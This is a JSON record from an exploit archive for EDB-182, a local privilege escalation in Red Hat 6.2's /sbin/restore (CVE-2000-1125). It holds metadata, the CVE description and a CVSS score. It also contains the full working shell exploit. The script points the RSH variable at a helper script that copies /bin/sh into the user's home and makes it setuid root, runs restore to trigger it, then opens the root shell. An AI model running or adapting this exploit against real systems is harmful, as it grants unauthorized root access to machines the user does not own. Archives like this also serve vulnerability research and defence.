{"exploit":{"id":"EDB-182","name":"Red Hat 6.2 - '/sbin/restore' Local Privilege Escalation (LPE)","description":"Red Hat 6.2 - '/sbin/restore' Local Privilege Escalation (LPE)","cves":["CVE-2000-1125"],"author":"anonymous","published":"2000-11-16","platform":"linux","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/182","path":"exploits/linux/local/182.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-182.sh","vulnerabilities":[{"id":"CVE-2000-1125","state":"PUBLISHED","title":null,"titleSource":null,"description":"restore 0.4b15 and earlier in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root privileges by modifying the RSH variable to point to a Trojan horse program.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-1125","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-1125"},"updatedAt":"2024-08-08T05:45:37.323Z","retrievedAt":"2026-11-26T12:07:00.572Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-182.png?v=2","url":"https://exploitbin.com/exploits/EDB-182","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-182/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-182/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/sh\n#\n# /sbin/restore exploit for rh6.2\n#\n# I did not find this weakness my self, all i did was\n# writing this script (and some more) to make it\n# automatic and easy to use.\n#\n# This exploit should work on all redhat 6.2 systems\n# with /sbin/restore not \"fucked up\". May work on other\n# distros too, but only tested successfully on rh6.2.\n#\n# Make sure that the $USER variable is set! If you aren't\n# sure, do a SET USER=<your-login-name> before you start\n# the exploit!\n#\n# Please do NOT remove this header from the file.\n#\n\necho \"###########################################\"\necho \"#     /sbin/restore exploit for rh6.2     #\"\necho \"#          this file by nawok '00         #\"\necho \"###########################################\"\necho \" \"\necho \"==> EXPLOIT STARTED, Wait...\"\necho \"#!/bin/sh\" >> /home/$USER/execfile\necho \"cp /bin/sh /home/$USER/sh\" >> /home/$USER/execfile\necho \"chmod 4755 /home/$USER/sh\" >> /home/$USER/execfile\nchmod 755 /home/$USER/execfile\nexport TAPE=restorer:restorer\nexport RSH=/home/$USER/execfile\ntouch /tmp/1\n/sbin/restore -t /tmp/1\nrm -f /home/$USER/execfile\necho \"==> DONE! If everything went OK we will now enter rootshell...\"\necho \"==> To check if its rooted, type 'whoami', or 'id'\"\necho \"==> B-Bye, you are on your own now.\"\n/home/$USER/sh\n\n\n# milw0rm.com [2000-11-16]","sha256":"416e9ebb81398395c6815b8fc9a2180a59bad31d809201adfc62f663942e14e8","bytes":1307,"fetchedAt":"2026-11-26T12:06:56.589Z","encoding":"utf-8 (display only; download retains original bytes)"}